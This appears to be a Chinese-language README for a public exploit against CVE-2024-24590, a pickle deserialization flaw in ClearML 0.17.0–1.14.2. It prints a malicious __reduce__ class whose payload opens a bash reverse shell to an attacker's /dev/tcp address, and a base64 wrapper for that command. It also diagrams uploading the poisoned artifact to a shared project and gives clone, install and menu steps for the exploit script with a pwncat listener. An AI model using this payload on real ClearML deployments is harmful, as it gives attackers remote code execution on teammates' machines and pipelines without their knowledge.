CVE-2024-24590 – ClearML 通过不安全的 pickle 工件反序列化导致 RCE (0.17.0–1.14.2)
| 字段 | 详情 |
|---|---|
| CVE | CVE-2024-24590 |
| 软件 | ClearML |
| 受影响版本 | 0.17.0 – 1.14.2 |
| 漏洞类型 | 任务工件的不安全 pickle 反序列化 |
| 认证要求 | 需要对 ClearML 项目具有写入权限 |
| 影响 | 在加载该工件的任何机器上实现远程代码执行 |
| 测试环境 | Ubuntu 22.04、Python 3.9+ |
ClearML 是一个 MLOps 平台,用于跟踪实验、管理数据集并在团队成员之间共享工件(模型、文件、对象)。当任务工件以 Python 对象的形式上传时,ClearML 会使用 Python 的 pickle 模块对其进行序列化。当其他用户下载并加载该工件时,ClearML 也会使用 pickle 对其进行反序列化——不进行任何完整性校验或类白名单检查。
拥有共享 ClearML 项目写入权限的攻击者可以上传一个包含被重写的 __reduce__ 方法的恶意工件。任何获取并加载该工件的团队成员或自动化流水线都会在反序列化过程中执行攻击者的载荷,从而在其机器上实现 RCE。
Python 的 pickle 模块对于不可信输入本质上是不安全的。类上的 __reduce__ 魔术方法控制着对象在反序列化期间如何被重建——它可以返回任何可调用对象及参数,包括 os.system:
class exploit:
def __reduce__(self):
return os.system, ("bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'",)
当对象被 pickle 并随后被反序列化(unpickle)时,Python 会在对象重建过程中调用 os.system(cmd)——调用方根本来不及检查该对象。
Attacker (project write access)
│
▼
task = Task.init(project_name="shared-project", task_name="exploit")
task.upload_artifact("model", artifact_object=exploit())
│
▼
ClearML server stores artifact as a pickled binary blob
│
▼
Victim fetches artifact (automated pipeline / manual review)
task.artifacts["model"].get()
│
▼
pickle.loads(blob) → __reduce__ fires → os.system(reverse_shell_cmd)
│
▼
Reverse shell connects back to attacker
反弹 Shell 命令在嵌入前会先进行 Base64 编码,以避免序列化字符串中出现 Shell 引号问题:
bash_cmd = f'bash -c "bash -i >& /dev/tcp/{ip}/{port} 0>&1"'
b64 = base64.b64encode(bash_cmd.encode()).decode()
cmd = f'echo {b64} | base64 -d | sh'
git clone https://github.com/rippsec/CVE-2024-24590-ClearML-RCE-Exploit.git
cd CVE-2024-24590-ClearML-RCE-Exploit
pip install -r requirements.txt
依赖项: clearml、pwntools、colorama
python3 exploit.py
交互式菜单将引导您完成两个步骤:
步骤 1 — 初始化 ClearML(option 1)
运行 clearml-init 为目标 ClearML 服务器配置凭据。会先备份任何已有的 ~/clearml.conf。
步骤 2 — 运行漏洞利用(option 2)
依次提示输入:
可选:在上传工件之前自动启动一个 pwncat 监听器。
